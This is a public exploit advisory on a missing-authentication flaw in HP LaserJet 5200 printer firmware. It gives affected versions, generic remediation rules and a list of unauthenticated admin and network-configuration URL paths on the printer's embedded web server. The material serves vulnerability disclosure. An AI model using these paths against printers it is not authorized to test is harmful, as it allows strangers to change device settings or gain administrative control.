HP LaserJet version 5200 HP LaserJet version 5200 suffers from an authentication bypass vulnerability.
31446b88b9ccefbf4b027c9917d488da
############################################################################################
# Exploit Title : HP LaserJet 5200 Printers 6.7.0.x Bypass Missing Authentication
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/03/2019
# Vendor Homepage : hp.com
# Software Information Link :
support.hp.com/gb-en/drivers/selfservice/hp-laserjet-5200-printer-series/1137934
# Software Version :
Driver-Universal Print Driver for Managed Services => 6.7.0.23989
Driver-Universal Print Driver => Version 6.1.0.20062 and 6.7.0.23989
Printer Model Number => Q7545A
HP ChaiServer => Version 1.0
Driver-Universal Print Driver for Managed Services => Version
Driver-USB => Version 7.0.0.29 and 08.290.2
Printer Model => Q7545A
Model Number => J7949E
Firmware Version => V.33.19.FF - 20091124 08.090.3
Software Universal Printer Driver => Version 1.8.6
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################################
# Description about Software :
***************************
HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American
computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.
############################################################################################
# Impact :
***********
The software does not perform any authentication for functionality that requires a provable user identity
or consumes a significant amount of resources.
The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the
affected application and change configuration settings or gain administrative access.
Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.
Developing a fix would require understanding of the current application security model and implemented access controls.
Three basic rules however can help you eliminate potential improper authorization issues:
1) Identify all privileged assets within your application (web pages that display sensitive data,
website sections that contain privileged/administrative functionality, etc.)
2) Identify user roles within the application and their access permissions
3) Always check if the user should have privileges to access the asset
############################################################################################
# Bypass Missing Authentication Exploit / Vulnerability :
*************************************************
/hp/device/this.LCDispatcher
/hp/device/this.LCDispatcher?nav=hp.EmailServer
/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1
/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1
/hp/device/this.LCDispatcher?nav=hp.Alerts
/hp/device/this.LCDispatcher?nav=hp.AutoSend
/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0
/hp/device/this.LCDispatcher?nav=hp.OtherLinks
/hp/device/this.LCDispatcher?nav=hp.Config
/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig
/hp/jetdirect
/config_pro.htm
/tcpipv6.htm
/tcpipv4.htm
/tcp_param.htm
/network_id.htm
/tcp_summary.htm
/index_info.htm
/support_param.html
/support.htm
/tcp_diag.htm
/configpage.htm
/tcp_param.htm
/network_id.htm
############################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
############################################################################################